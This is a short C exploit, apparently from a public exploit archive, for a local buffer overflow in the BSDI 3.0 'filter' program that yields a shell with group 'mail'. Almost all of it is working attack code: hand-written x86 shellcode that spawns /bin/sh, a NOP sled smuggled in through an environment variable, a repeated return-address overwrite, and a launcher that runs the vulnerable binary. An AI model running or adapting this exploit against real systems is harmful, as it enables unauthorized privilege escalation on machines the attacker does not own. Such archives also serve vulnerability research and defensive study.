BSDI /usr/contrib/bin/filter v2.* local buffer overflow exploit. Tested on BSDI 3.0, provides a shell with GID mail.
e534fc0c8aa82b47dead2e0e671e1935ad2cdccabd46b611e35f366b86b24a78
/* (BSDi)filter[v2.*] buffer overflow, by v9[v9@fakehalo.org]. this exploit
yields egid/group=14(mail) on BSDi/3.0 systems with the filter package.
note: you have to press ^D to overflow the buffer, and launch the shell.
*/
#define PATH "/usr/contrib/bin/filter" /* path to filter on BSDi/3.0. */
#define DEFAULT_OFFSET -3000 /* general offset, a lot of room. */
static char exec[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
"\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
"\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
"\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char eip[520],buf[4096];
int i,offset;
long ret;
printf("[ (BSDi)filter[v2.*]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(pointer()-offset);
for(i=0;i<520;i+=4){*(long *)&eip[i]=ret;}
eip[520]=0x0;
for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
memcpy(buf+i,exec,strlen(exec));
memcpy(buf,"EXEC=",5);putenv(buf);
printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
printf("*** [note]: hit CTRL-D overwrite eip, and launch a shell.\n");
if(execlp(PATH,"filter","-f",eip,0)){
printf("*** [error]: could not execute %s successfully.\n",PATH);
exit(1);
}
}